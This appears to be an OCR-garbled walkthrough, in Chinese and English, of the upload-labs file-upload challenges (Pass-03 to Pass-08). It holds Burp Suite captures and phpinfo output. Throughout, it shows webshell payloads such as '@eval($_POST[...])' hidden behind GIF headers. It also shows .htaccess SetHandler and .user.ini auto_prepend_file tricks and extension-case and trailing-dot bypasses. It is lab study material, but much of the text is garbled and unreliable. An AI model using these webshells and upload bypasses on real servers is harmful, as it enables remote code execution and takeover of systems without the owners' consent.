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System Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64.

Build Date. Apr 2 2019 21:50:57

Compller MSVC15 (Visual C++ 2017)

Architecture 64

Configure Command cscript /nologo canfigure.js " P P pack” "--cisable-zts" "--with pdo-oci=c: \php-
snap build\geps_aux\oracle\x64Ynstantclient_12_1\sck,shared” *--with-ocig-12c=e:\php-Snap build\deps_aux
“oracle w64 \instantclient_12_1\sdk,shared" * /obi/" * "
without-analyzer” *--with- pgo”

Server API CGI/FastCol

Virtual Directory Support disabled

Configuration File (php.in) Path Cr\Windows.

Loaded Configuration File

E2\phpstudy_pro\Extensions \php\php7.3.4nts \php. ini

Scan this dir for additional .ini files (none)
Additional .ini files parsed (nane)

PHP API 20180731
PHP Extension 20180731
Zend Extension 320180731

Zend Extension Build

API320180731,NTS,VC15

PHP Extension Bulld

API20180731,NTS VC15

Debug Build o
Thread Safety disabled
Zend Signal Handling disabled
Zend Memory Manager enabled

Zend Multibyte Support

provided by mbstring

IPV6 Support

enabled

DTrace Support

disabled

Registered PHP Streams

ph, file, glob, data, http, ftp, zip, compress.zlib, https, ftps, phar

top, udp, ssl, tis, tisvl.0, tisvi.1, tisv.2

Reglstered Stream Socket Transports
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#
#AddHandler cgi-script .cgi .pl

# For type maps (negotiated resources):
#AddHandler typemap var

#

# Filters allow wvou to process content before it 1s sent to the client.

# To parse .shtml files for server—side includes (5SI):
# (You will also need to add “Tncludes” to the “Options” directive.)
#
#4ddType text/html . shtml
#4400t ptFilter THWCIIME himl
I A4ddTvpe application/z-httpd—php .php .phtml . phps . phpS . pht
¢ )

T 3
TITerereTT

[
# The mod_mime_magic module allows the server to use various hints from the
# contents of the file itself to determine its type. The NINENagicFile
# directive tells the module where the hint definitions are located.

4]
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Request Response

Raw | Headers | Hex | HTML | Render

Raw | Params | Headers | Hex

POST /upload/Pass—03/index. php HITP/L. 1 I3 CLi><a id="Pass-13° href="/upload/Pass-18/index. php’ 'Pass—18¢/a-C/11> I3
Host: 172.16.12. 114:8000 r (Lib<a id="Pass=19" href="/upload/Pass-19/index. php” "Pass—19¢/a>¢/1i> r
User-Agent: Mozilla/S.0 (Windows NT 6.1; WOWS1; rv:i7.0) Gecko/20100101 Firefox/17.0 CLi>€a id="Pass-20" href="/upload/Pass-20/index. php” *Pass-20¢/a>¢/11>
Accept: text/htnl, application/zhtnltznl, application/znl:q=0. 9, /1 q=0. <1i>a id="Pass-21" href="/upload/Pass=21/index.php” Pass-21</2></1i>
Accept-Language: zh-Cll, zh;=0.8, en-US;q=0. 5, en;q=0. 3 <ful>
DHT: 1 <fdiv>
Referer: http://172.16. 12, 111:3000/upload/Pass-03/ index. php
Cookie: ECS[visit_times]=1: PHPSESSID=93e17f7b02d91258229033ecibTT371a <div id="upload_panel”>
E-Forvarded-For: 8.8.8.9
Comnection: close <1i>
Content-Type: multipart/form-data; boundary=——----m---==-—mm=-m—-mmmmn=" 163172163123272 <h3HE%</h3>
Content-Length: 312 <p> kA <code>webshell</code>FIMR %5 8. </p> 9
/1i>
- —-163172163123272 <1i>
Content-Disposition: forn-data: nane="upload file”: filenaneq getshell phpl” | <h3> BRSNS
Content-Type: inage/jpeg
GIFS0a <imput class="input_file” type='file” mame="upload file”/>
<iphp GEVAL (§_POSTL abe’ 1) 7> <input class="button” type="submit’ names"submit” values" Lf5"/>
163172163123272 </forn>
Content-Disposition: form-data; name="submit” <div id="msg"> {
| </ div>
<div id="ing"
163172163123272— <ing s:c:ld\h:'ZEpr' 7> </div>
</1i>
</ol>
<fdiv>
<fdiv>
<div id="footer’>
<center>Copyrightanbsp :@nbsp :<span id="copyright_tine”></span>knbsp :byénbsp: a href="http://gvT.ne”
target="_bank”>cOnyl</a></ center’
</div>
<div class="mask’></div>
Caiv elass="dialog”>
<div class="dialog-title’>JEembsp 7 Ca href="javascript:void(0)” class="close” title=" "> HHl</a></div>
<div class="dialog-content” >/div>
<fdiv>
<fbody>
<script type="text/javascript” sre="/upload/is/jquery. min. js"></script>
<seript type="text/javascript” sre="/upload/is/prism. js"></script>
<script type="text/javascript” src="/upload/js/prism-line-mmbers.min. js”></script>
<seript type="text/javascript” sre="/upload/jis/prisn-php.min. js"></script>
<seript type="text/javascript” sre="/upload/js/index.js*></script>
</htnl>
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E| Sw=tem ¥olume Information
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BT

ZepassEE 1L 1€ php|.php5|.php4|.php3|.php2|phpll.h

p

2IEHE A%, EREEEZhtaccess.
htaccess X448 :

htaccess 3 & Apache [R & & F I —ANELE XM, ERFMFXEZTHMNUEE. Bidhtaccess 3, FILAFERATLI;M: W
01EE M. HEXA0485RTH . SEXHY B4 AWM SEBZMUH. 2iEERFIR, RERAHEED)
feo

H htaccess 3 % :

SetHandler application/x-httpd-php

BE 5 HT B RTA XA R PHP#EMT, AR BRI, REXHNERFEPHPIE S RIBMTE, et HEPHPH
1T AFFEMREE .

FEHEE htaccess XA RTIR M (1.mod_rewrite#HIF /5. 2.AllowOverride Al
k% EAE—AN htaccess X, WA :

<FilesMatch “yijuhuamuma.jpg”>
SetHandler application/x-httpd-php

#t &2 #Eupload B 3 T UL Ayijuhuamuma.jpg i 3244 3F BLphp SCHE AT «

—. _b4%1.htaccess, FI1.htaccessifi A .htaccess.
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£/ Requestto http://192.166.130.5:80

Dploed-leAS (SRR EZETrr—
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POST /upload-1abs/WWh/Pass-04/ HTTP/1.1
Host ! 162,168,130, 3
User-Agent : Mozilla/S.0 (X11: Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept : text /htwl,application/xhtul+xnl,application/xnl;q=0.9, ¥/4;4=0.8
Accept-Language : en-US. en;a=0.5
Accept-Encoding: gzip, deflate
Referer: http://192,168,130,3/upload-1abs/Whin/Pass -04/
8 Content-Type: nultipart/form-data: boundary= 2692629921771950897121 4280248
9 Content-Length; 443
O Connection: close
Upgrade- Insecure-Requests: 1

ton s W

EEe - -2692629521 771950857121 428024
4 Content-Disposition: forn-data; nane="upload_file": filenan
S Content-Type application/octet-strean

<FilesMatch " h >
R e o T #81.htaccess#A.htaccess

</FilesMatch>

- -2692629921 771950897121 4280248
Content-Dispesition: forn-data; nane="submit"

- - 2692629921 771950897121 4280245 -

b
v

0 matches

= BEfe—mEARS:

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /upload/Pass-04/index.php HTTPE/L. 1 ] href="/upload/Pass-20/index . php">Pass-20</a></1i* 2
Host: 152.168.10.178:8000 r <lir<a id="Pass-21" href="/upload/Pass-21/index. php">Pass-21</a></li> r
User-Agent: Mozillas5.0 (Windows NT &.1; WOWE4; rv:47.0) Gecko/20100101 <fuls
|Firefox/47.0 </fdive
Accept: text/html,application/xhtml+sxml,application/xml;q=0.5,%/*;q=0_8
Accept-Language: zh-Cl,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate <div id="upload panel"s
DNT: 1 <ol>
Referer: http://192.168.10.128:8000/upload/Pass-04/index. php <lis
Cookie: <h3*00</h3>
BEEFHOOK=FEM: r an0L30VET ZryTvdnSgpxEVXrUWFF4nx81)zxL0c4ZVelcaFXPLRIX1MyYD10 fpdl] <p>0000<code>webshell</code>00000</p>
FULTGT <fli>
H-Forwarded-For: 8.8.8.8 <li=
Connection: close <h3>000</h3>
Content-Type: multipart/form-data; <form enctypes"multipart/form-data” method="post" cnsubmic="return
boundar: ZEZET71530313872 checkFilei) ">
Content-Length: 332 <p>0000000000<p =
<input class="input fils" type="file" name="upload file"/>
JEZETLIEE03126872 <input eclass="button" type="submit" name="submit" walue="0O0"/>
Content-Disposition: form-data; name="upload_file"; filenam </form>
Content-Type: image/jpeg <div id="msg"> ~
<fdive
<7php <div id="img"=
<img sre="|. /upload/vijuhusmuma. jpg" vimch />
phpinfo () ; </dive
<flix
7> </ol>
262E71920312872 </dive
Content-Disposition: form-data; name="submit"
ooo </dive
ZEZETLIS30313872-- <div id="footer"s
<cent er >*Copyright&nbsp ; @&nbsp; <span
ight_time"></span>&nbsp;by&nbsp;<a href="http://gv7. me"
L _bank">cOnyl</a»</centers
v <fdiv> ¥
@ = - = ||| 0 matches @ < . > | |7 0 matches
Done 4,084 byie
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@ PHPiESZE|
r Al
INT ~ = @& SQLBASICS® UNION BASED- ERROR/DOUBLE QUERY~ TOOLS™ WAF BYPASS® ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LA~
‘@ Load URL (http//192.168.10.1 pload/upload yil irg =
3 spliturL o
»)  Execute
K [ Postdata [ Referrer 4 OxHEX 3B @ %URL 3B X BASEGA 3B | /nsert string to rep/m{ ‘f”;emep/zmg string | [Z] Replace All 3 |3 |
HETCREFT ~ Services- | [No information available]

@

System Windows NT EXPLOIT7 5.2 build 3790

Build Date Jan 6 2011 17:26:08

Configure cscript fnologa configurejs *--enable-snapshot-build” *--enable-debug-pack”
*with-snapsh i\ " " with-

p php P
php-buil php-sdk\snap_5_: |d* *--with-pdo-oci=Diphp-
dk i jentL0\sdk shared" *—with-oci8=D:\php-sdk ]

\instantclient10\sdk shared" "--without-pi3web"

Server AP Apache 24 Handler - Apache Lounge

Virtual Directory |enabled

Support

Configuration File | CAWINDOWS

(php.ini) Path

Loaded CiphpStudy\php52\php.ini

Configuration File

Sean this di (none)

additional .|

files

additional .ini (none)

files parsed

PHP API 20041225

UHE FEE EFW WEQE TAO BB

QFR - O - 7| Pam Dk |13 0 X 9| E-

itk ©) 5 ¢ \phpStndr\ it upl eadiuplosd

E [ ERNES] REEEE

. 202001041058334485. phpl BT PHPL M 2020-1-4 10:58
202001041058339505. php3 PHPS i 2070-1-4 10:59

£ 202001041 100145232, g TeEG ER 2020-1-4 11:00

1| [£]sbe. jpz TPEG ES. 2020-1-4 10:35
4] sho. ko BE T 20201-1-4 10:34

readne. phy ol st 2019-11-13 1:45

htaccess HTACCESS J1H 2020-11-T 18:45

] 7 jubuanama. jpg JPEG EfR 2020-11-T 18:47

phpStudy\! uploadiupload\. htaccess
THE HMWEE BFES NEY W EE0 BEO IR FW ETE &EEE BAW 2
c HEE 5 a8 fRD[oe (it s (BE(S1EFEEAC® (B E B |

B ifier oroid| B iniex phor| B inde prpcd | B index npid| B snaex protd ] htaccessEd |

1 <FilegMatch "vijuhuamuma.jpg™>
2 SetHandler application/x-httpd-php
3 </FilesMatch>

2SEl: MTACCESS Mt (ERRERR: 2020-11-7 18:45 b 8s 2

Winmail

B & @ B sty | (6t el [T - ot el

Pass05 2 4 HIGUE: .user.ini 0 (¥EABI))




FIH user.ini SCHR = AN 564

1. MRS B M AE S HPHP

2. R&%BEHFCGI/ FastCGHER

3. A& EFTER AT Iphp X

Hep B AW R, MHMEXARZCGI/ FastCGl, &handler.
FE=/NM, 1E& fEupload HF T ABEMNEHA T —Nreadme.php.

Bm

_HEESEEphpF ( readme php )

PHP Version 5.2.17

Php

System Windows NT EXPLOIT7 5.2 build 3790

Build Date Jan 6 2011 17:26:08

Configure cscript fnologo configure.js "--enable-snapshot-build” "--enable-debug-pack”
Command "--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x8B\template™ "--with-

php-build=d:\php-sdki\snap_5_2\vcbt\x86\php_build" "--with-pdo-oci=D:\php-
sdk\oraclelinstantclientl0\sdk shared” "--with-oci8=D:\php-sdk\oracle
\instantclient1l0\sdle shared" "--without-pi3web"

Server API [Apache 2.4 Handler - Apache Lounge |
Virtual Directory |enabled
Support

Configuration File | CAWINDOWS
(php.ini) Path
Loaded CAphpStudy\php52\php.ini
Configuration File

Scan this dir for | (none)
additional .ini

files

additional .ini (none)
files parsed

PHP API 20041225

PHP Extension 20060613
Zend Extension | 220060319
Debug Build no
Thread Safety enabled
Zend Memory enabled

Manager

IPv6 Support enabled

Registered PHP |php, file, data, hitp, ftp, compress.zlib, compress.bzip2, zip
Streams

Registered Stream |tcp, udp
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¢ Apache + PHF 5.2 " Hainx + PHP 5.3n
" apache + PHP 5.3 &
" apache + PHF 5.3n € Nainx + PHP 5.5n
" apache + PHF 5.4n € Nainx + PHP 5.6n
" apache + PHF 5.5n € Nainx + PHP 5.2
" apache + PHF 5.6n
115 7/8 + PHP 5.3n0 " Lighttpd + PHF 5.3n
115 7/8 + PHP 5.4n " Lighttpd + PHF 5.4n
115 7/8 + PHP 5.5n0 " Lighttpd + PHF 5.5
115 7/8 + PHP 5.6n " Lighttpd + PHF 5.6n
115 7/8 + PHP 5.2 " Lighttpd + PHF 5.2
115 6.0 + PHP 5.2 " 1IS 6.0 + PHF 5.4n
" 1IS 6.0 + PHP 5.3n

me | mm

System Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition
Service Pack 2) 1586

Build Date Sep 17 2014 20:05:00

Compiler MSVCO (Visual C++ 2008)

Architecture xB6

Configure cscript /nologo configurejs "--enable-snapshot-build" "--enable-debug-pack”

Command "--disable-zts" "--disable-isapi" "--disable-nsapi” "--without-mssgl” "--without-
pdo-mssgl" "--without-pi3web" "--with-pdo-oc=C:\php-sdkioracle\instantclient10
\sdk,shared” "--with-ociB=C\php-sdk\oracle\instantclientlMsdk, shared” "--with-
oci-11g=C\php-sdktoracle\instantclientl1\sdk,shared" "--with-enchant=shared"
"--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-
mcrypt=static" "--disable-static-analyze" "--with-pgo"

Server AP

Virtual disabled

Directory

Support

Configuration | C\WINDOWS

File (php.ini)

Path

Loaded CAphpStudy\php34n\php.ini

Configuration

File




B % _E4E user.ini XX

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTHL | Render
0ad/Paz=-05/index. php HITE/1 1 L] Qe php Pase-13/2 13> ]
r Aira php"SPass-14</a>4/11> r
User-Agent: Morilla/S.0 (findews NI 6. 13 NOWE!: rv:i7.0) Geeks/20100101 Firefoe/ 7.0 Qi php”Paze-15</2></1i>
hecept text/htnl, appli cation/xhtnlhanl, appli catien/anl:q=0.9, /4 0=0. Aira href="/: php* Pass=16</a>4/1i>
Acespt-Language: =h-Cl, zh:g=0. 6, ex-US: o - Qi href="/upLoad/Pace-L7/indss. php”Pas =174/ 2011
o o Aira href="/upLoad/Pass-16/index. php” Pass-18</a>/11>
Refersr: http //172.16 fuplosd/Pazs-05/index. phy Qi href="/upLoad/Pace-19/indss. php”Pas =18/ 211>
Cockie: BCS[visit_times: Aira 0" href="/uload/Pass-20/index. php” Pass—204/a>4/1i>
X-Forwardsd-For: 5.5.5.8 Li>da 18="Paze=21" href="fupload/Pas=-21findsx. phy P aze=21</ 11>
Connection: close 1>
c » p = 150183203 s
Content-Length: 338
CWiv id="upload panel”>
2 <al>
Content-Disposition: forn-data: name="upload file”: filenan i
Content-Type: image/jpeg QSR>
@ L= Ccodeowebshel L S eode BRI FH. V>
GIFSEa <Li>
auto_prepend_file=getshell05. jpe] ai>
> @3> LAER GBI
Content-Dicposition: form-data: name="cubmit” CEorn enctype="miltipart/Eorn-data” method="post” onsubnit="return checlile )"
<o IR LA R
<imput class="iagut_£ils” type="file” nane="uplosd _file’/>
1501 Gomput class="button” typs= eubnit” neme="submit’ value=" |14 7/>
Uforn>
v idnag"r
Yay
v iding
<ing sres[ Jwplosd/ wser imi’|width="250px" /> aivy
<>
Yo1>
Yaivr
s
v id="Footer”>
Cosnter>Copyri ghtinbep:@inbap: Copan 14 copyri ght _tine” >/ span Bnbap: bySmbep: <a href=kitp //gvT.me” target="_banle’ eOnyl </ </ centar>
Udivy
Chiv elaz="mack > div>
<iv class="dialog”>
<Aiv elazs="dislogtitle " Silmbep: FiCa href="javaceript veid0)” elaze="cloze” 4itle=" 4 ORMY > div>
<div class="dislogcontent” )</ div>
Yasvr
Uhody>
Cooript type="text/javaseript” cre="/upload/jc/jquery. min js" < seript>
Coeript type="text/javaseript” sre="lupload/js/prisn. js">¢/seript>
CGeript JupLoad/ j</pricn-line-rumbers. min. jc"></ceript>
Geript JupLoad/j/prisn-php. nin. js">¢/script>
Coeript typs="text/javaseript” sre="fupload/js/indsx. j&">< seript>
L b SERICVEEY T :
\
EfE—AEARLD:
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
FOST /upload/Fass-05/index. php HITE/L | D <Uixa id="Fass11" href="/upload/Pass—1//index. phy " Pass-144/a>4/1i> I
Host: 1 12 P * href="/upload/Paze-15/ index. phy  Paze=15</a>/11> P
User-fgsnt: Mozille/5.0 (findows UT 6.1; WONS4; xv:47.0) Gecko/20100101 Firafox/47.0 " href="/upload/Pass-16/ index. phy" PPass=16</a></11>
Accept: text/htnl, applicati on/xhtnléxul, spplicati on/xnl; =0, 8, #/%; g=0. 8 heef="fupload/Pass-17/index. phyp " Pass—17¢/2>¢/13>
Aecept-Language’ zh-Cll, zh; q=0. 5, en-US:g=0.5, em: g=0.3 href="/upload/Facs-1/index. phy " Pass=16¢/a>¢/11>
o 1 href="/upload/Pas=-19/index. phy " Pass-194/a>1i>
Referer: http://172. 16. 12. 11/ upl oad/Fass-05/ index. php <Ai>a id="Pacs-20" href="/upload/Fass-20/index. phy " Pass-20¢/a></11>
Cockie: BES[visit_tines Aia 18="Pass-21" href="fupload/Pass-21/index. php” Pass-21</a>/11 >
K-Forwarded-Fer: 6.8.5.6 <ha>
Comnection: close iy
Content-Typs: multipart/forn-dats; boundsry= 15018329
Content-Length: 31 <Aiv ia="upload panel”>
ol>
15018328 a
Comtent-Disposition; Eorn-data; nane="uplond £ile’; £ilenanes] cotehel 105, sue’ | ADAES 13>
Content-Type: inage/jpeg <p>_ LA <eode webehell fcode M 57
GIFses
<aphp GEVAL (3_P0ST[1qaz]): 7>
il tipart/ Eorn-data” method="past” onsubmit="raturn checkFils )"
29 AR R <>
Content-Disposition: Eorn-data; nane="submit” aput_file” type="file” name="uplead file"/>
Cinput elass="button” type="cubnit” name="cubmit” valus=" L {L"/>
i garn>
150183283~ <hiv idmg >
</divy
Cdiv id=ing >
Gimg s mamz”:ﬁnyx“ » Saivy
1>
1>
iy
iy
<div 1 Eater>
{center)Copyri ghtdmbsp: @&nbsp: <epan 1d="copyrichi_tine">(/spen’mbsp:bybrbop: a href="http://evT me" target="_bank’reOnyl {a>¢/center>
Yai>
<Aiv class="mask’ >/ div>
iv class="dislog”™>
<div elass="didlog title *HiOnbsp: i (a href="javaseript void (0)” elass="close” titl, AR DY div>
iv class="dislogcontent > div>
o>
<hody>
Coeript bt/ jevazeript” ere="fupload/ je/ jquery. min. j2 > zeript>
Caeript “text/javaseript” sre="/uload/is/prisn. js">Useript>
Coeript “bext/jevaseript” ere="/upload/ je/prisn-Line-mmbers. min j= >/ seript
Cseript type="text/javascript” sre="/uplosd/is/prisnphp.nin js">/script>
Caeript type="text/javascript” sre="/upload/ js/index. js">/script>
htnl>
L
: ;
2 =) 2][ 2] |mpeasearcn 0 matches 2| <[ =] =] [rveeasearcnterm 0 matches
Done 4,065 bytes | 20 millis
@ Get the PTE @ PHPIZ=ZE|
INT > = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LFl-
@ Lload URL (hitpy//172.16.12.144/upload/upload/readme.php =
B spliturL %
) Execute
Postdata [ | Referrer @ OxHEX B % %URL 3 @ BASE6S P> |/,
[Fe2iakia 1qaz=phpinfo(; -
¢

BETCRAFT - Services~ | [No information available]

PParse error: syntax error, unexpected 'qaz' (T_STRING), expecting ']" in C:\phpStudy\WWWwWh\upload\upload\getshell05.jpg on line 2

BH BRI
Pass06 E & HBIGUE: KNS



AP Ja { word-wrap: break-word, Jadink, awisited { color: #e06228, color: #404042 5 o~ melf ¢ @ Q &=

Q@

@ pHPiESES| Burp Suite Professional v2.1.07 - Temporary Project - licensed to surfenyz
r
INT ¥ = @ SQLBASICS® UNION BAS| Burp Project Intruder Repeater Window Help
‘@ Load URL | http://192.168.10.128:8000/upl| [Dasnbmm Target | proxy | ntrucer | Repeater | sequencer | Decoder | comparer | Extenger | Project options T usernmmrs}
4 split URL
75 [8x 8= [10x«
+)  Execute
B Post data Referrer 4| | sena Cancel <|v > Target: hitp:/192.165.10.128:5000
AETCREFT - Services- | [No information avd | poquect R
@ Farams | Headers | Hex Headers | Hex | HTML | Render
BOST /upload/Pass-0&/index php HITP/L 1 X href="/upload/Pass-17/index php'>Pass-17</ar</1i>
Hose: 152.1£8.10.178:8000 . <li>ea id="Dass-18"
User-Agent: Mozilla/S.0 (Windews NT &.1; WOWEd; rv:47.0) Geelko/20100101 href="/upload/Pass-18/index. php">Pass-18</a></1i>
Firefox/47.0 <lirsa id="Pass-15"
Accept: text/html,application/shtnltxnl, applicstion/znl;q=0.5,%/*;q=0.8 href="/upload/Pass-15/index. php">Pass-19</a></Lix
Aecept-Language: =h-Cl, zh;q=0.8,en-US;q=0. &, en;q=0.3 <li>ea id="Dass-20"
Accept-Encoding: gzip, deflate href="/upload/Pass-20/index. php">Pass-20</a></1i
DHT: 1 <lir<a id="Pass-2l" href="/upload/Pass-21/index.php">Pass-21</a></1i>
Referer: hetp://1S2.168.10.178:8000/upload/Pass-0&/index. php <rulx
Cookie <sdive
I zxzry Fanusl LMy TDLO fpaTd
FULTET <div id="upload_panel">
¥-Forwarded-For: 8.8.8.8
Connection: elose <lis
Content-Type: multipart/form-data; T1BE0Z8ZZ3 <h3>00</h3>
Content-Lengeh: 330 <p>0000%c odeswebshell </ code>00000</p>
0 <sLix
- 387186025223 <lis
Content-Dispeosition: form-data; nams ‘upload_file"; filen: <h>000</h3>
Content-Type: application/x-php <form enctype="multipart/form-data" method="post" onsubnit="return
checkPile() ">
<aphp <p>0000000008 <p>
<input elass="input_file" type="file" name="upload file"/>
Phyintoil; <input elass="button’ type='submit' name="submit® value='DO/>
</ forn>
2 <div id='nsg">
</div>
Convent-Dispesition: form-data; i g
<img sre="../upload/2020110719250966€0. PHR" 11,“: opx" />
ooo </div>
</li>
</o1>
<rdive
L <rdiv>
T = ——
J 0 S -

AP }a { word-wrap: break-word, Ja

k, anisited { color: #e06228, color: #404042 3 mef | @ ‘Q‘,a;f

|&v®m ¢ @ 5 @~ &

@ PHPE=EE|
rINT

T = @ SQLBASICS-

UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS: ENCODING HTML-

ENCRYPTION~

OTHER~

Pt

LA~

T

# e~ -

loadiunload

PHP

1107

@ Load URL Il http://192.168.10.1
I
W spliurL [T

2 Execute

Past data

L

Referrer @K GiHEX 3B @K %URL 3B &K BASEsd BB | Incert sting to replace) | Incert replacing string

Replace All 3 ;7=

BETCREFT - Services- | [Na information available]

System Windows NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition
Service Pack 2) 1586

Build Date Aug 15 2014 19:15:47

npil MSVCY (Visual C++ 2008)

x86

Configure cscript /nolago configurejs -

Command debug-pack’
pdo-oci=Ch\php-sdiioracle\instantelient10\sdk, shared®
sdk\oracle\instantclient10\sdk shared” *--with-ocig-11g=C:\php-sdk\oracle
\instantclient11\sdk shared" "--enable-object-out- ..Jobj/" *--enable-

e i "-disabl R

Server APl Apache 2.0 Handler

Virtual Directory | enabled

Support

Configuration CAWINDOWS

File (php.ini)

Path

Loaded C:\phpStudy\php53\php.ini

Configuration

Fi

Scan this dir for | (none)

@ |l

|

Pass07 B4 BIHF: s

-
e 9 masgmy - - -




FAIP Ja (word-wrap: break-word, Jailink, avisited | color: #e06228, color: #404042 5 o el C @ |Q s= B ¥ O s - &- B &- 9 m- G- - =

@ PHPSES| Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz. [=[@] = ]

= Al
INT ¥ = @ SQLBASICS® UNION BAY/| Burp Project Intruder Repeater Window Help

‘@ Load URL (httpy//192.168.10.128:8000/upl | | pasnooara | Target | proxy | mtrucer [ Repeater | sequencer | pecoter | comparer | mxtender | projct optins | user optons | =
) Execute

. Post data Referrer 4l | sena cancel < v > | Target: nttp:i192.468.10.428:8000 7 (2) )
HETCREFT - Services- | [No information ava | poqest Response

@Pamrrs Headers | Hex Headers | Hex | HTML | Render I

BOST fupload/Pass-07/index php HITP/L L 4 href="/upload/Pass-20/index php'>Pass-20</a»</1i> A
Host: 157188 10.128:8000 = <li»<a id="Pass-21" href="/uplaad/Pass-21/index php">Pass-21</a»</1i> .
User-igent: Mozilla/S.0 (Windows NT &.1; WOWEd; rvi47.0) Gecko/Z0100L01 <rul>
Firefox/47.0 <raive
Accept: text/html,application/xhtnltxml,application/mml;q=0.9,%/*;q=0.8
Accept-Language: sh-CH,zh;q=0.8,en-US;q=0_5,en;q=0.3 <div id="upload panel®>
Accept-Encoding: geip, deilate <01>
DHT: 1 <11r
Beferer: http://152. 16610, 178:6000/upload/Pass-07/index. php <n3>00</h3>
Cookie <p>0000<coderwebshell </code>00000</p>

JE2xZTY FAnxs1: LI YDLO fpATY </1i>
FULTGT RIFES
X-Forvarded-For: 6.8.8.8 <h3>000</h3>
Connection: close <form enctype='"multipart/form-daca’ method="post® onsubmit="return
Content-Type: multipart/form-data; checkFile() ">

26411255226063 <p>0000000000<5>
Content-Length: 340 1 <input class="input_file" type="file" name="upload file"/»
<imput class="button" type="submit" name="submit" value='00"/>

-------326411255226863 </form>
Content-Disposition: form-data; name='upload_file'; filengme="vijuhuamuma php " <div id="msg">
Content-Type: application/x-php </dive R

<div id="img">

<Iphp <img sre="../upleoad/Z0Z0110715230211727.php " width="I50pxz" />
EEENTE
</ol>
> <fdiv>
<center>Copyrighténbsp: G&nbsp; <span
326411255226063-- id="copyright_time"></span>&nbsp;by&nbsp; <a href="heep://gvl.me"
target="_bank">cOnyl</a></centers
b4
L <div class="mask"></div>

ElEE e | ek —

| ZH FEEO BEM) REG) $EE) 120 =mHE

phpinfo)
AP }a { word-wrap: break-word, Jallink, anisited { color: #e06228, color: #404042 g o [ we}! C @ QO E=m B ¥ A @S - &~ B &~ 9 - & - | =

@ PHPzERES|
r A
INT v = & SQLBASICS: UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS LF-
@ Lload URL | hitp://192.168.10.1 load/upload/20: m1n71930211717php{ I -
% Split URL o
) Execute

Postdate [ Referrer @K GHEX 3B @ %URL 3B &K BASEt BB | tnser string o replace] | Insert replocing sting | (7] Replace all 3 {38 |

.
MIETCREFT - Services™ | [No information available]

system Windaws NT EXPLOIT7 5.2 build 3790 (Windows Server 2003 Enterprise Edition
Service Pack 2) i586
Build Date Aug 15 2014 18:15:47
pil MSVCY (Visual C++ 2008)
i 86
Configure cscript /nologo configures ™~
Command debug-pack”

pdo-oci=Ciphp-sdk\oracle\instantclient10\sdk shared"

sdk\oracle\instantclient10\sdk shared” *--with-ocig-11g=C:\php-sdk\oracle
\instantclient11\sdk shared" "--enable-object-out- ..Jobj/" *--enable-
e i "-disabl R
Server APl Apache 2.0 Handler
Virtual Directory | enabled
Support
Configuration  [CAWINDOWS
File (php.ini)
Path
Loaded C:\phpStudy\php53\php.ini
Configuration
Fi
Scan this dir for -

Pass08 B HIGUE: mMEed



(A}

Windows R4 T, XHHERABE— M RESWEN LR,

€ 0 1921¢ ~ FAIP Ja{ word-wrap: break-word, Jalink, awisited { color: #e06228, color: #404042 (=)

e+ RO s T

A S &~ B &~ « 0|~

@ pHPEEEZE|

W Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz

mﬁlg}

=
INT

¥ = & SQLBASICS- UNION BAY/| Burp Project Intruder Repeater Window Help
@ load URL | http://192.168.10.128:8000/upl [nunnnum Target intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options Iuser options 1
4 splitURL
7 %8 =9 x[10x]1=[12=[13x
)} Execute
. [F] Post data  [] Referrer 4l | send > v Target: RtpJi92.168.10.128:8000 @
BerergFT - services- | [Noinformation ava | Roguest Tegos
m I_ d | L E Raw | Params | Headers | Hex Raw | Headers | Hex Render
F ogo-ig DOST fupload/Pass—08/index php HITR/L L T esdie
Host: 152.188.10.178:3000 .
User-Agent: Mozilla/S.0 (Windows NT €.1; WOUEd: rvi47.0) Geeko/20l00101 <div 1d='upload panel®s
Firefon/47.0 o1x
Accept: text/html,application/shtnltxnl,applicstion/znl;q=0.5,%/*;q=0.8 <lis
Recept-Language: zh-Cll, zh;q=0. 8, en-18; q-0. &, en;q=0. 3 <h>00</h3>
Accept-Encoding: gzip, deflate <p>0000<code>webshell< /code>00000</p>
: <riir
Befersr: http://1S2.168.10.178:6000/upload/Pass-08/index. php <lis
<h>000</n3>
Ik zxzTyT Finuelizale 1108YD L0 £pdTa <form enctype="multipart/form-dara’ method="post’ onsubmit='return
FULTET checkFile() ">
¥-Forwarded-For: 8.8.8.8 <p»0000000000 <p>
Connection: close <inpuc class=*inpuc_file® types='file" name='upload fils"/s
Content-Type: multipart/form-data; <inpus elass='bucton’ Type="submit’ mame="sumit® value='D0"/>
Content-Lengeh: 339 </ torm>
<div id='nsg'>
</di
Content-Disposition: form-data; name="upload_file"; E,\.lena- cdig gz
Content-Type: application/octet-stream “img sre=t.jupload/yijubmuamuma.php | width=*250pxt />
<rdivs
<aphp <siix
</ol>
phpints () <raiv
2> <saiv
<div id="footer'>
Content-Disposition: form-data; name="submit’ <center>Copyrightnbsp: Benbsp ; <span
id="copyright_time"s</span>&nbsp by&nbsp; <a href='http://gv7.ne®
oo targst="_bamk">clnyle/a> </ centers
mask > </div>
dialog'>
<div class='dialog-title">Ombsp;0<a href='javascript:void(0)"
L class="close” cicle="D0'>DO</a»</div>

@l )] B [t

[ ZH FEEO ZEZN REG) $EE) 120 =mE

[Bloesdn. R0

phpinfoQ x\+

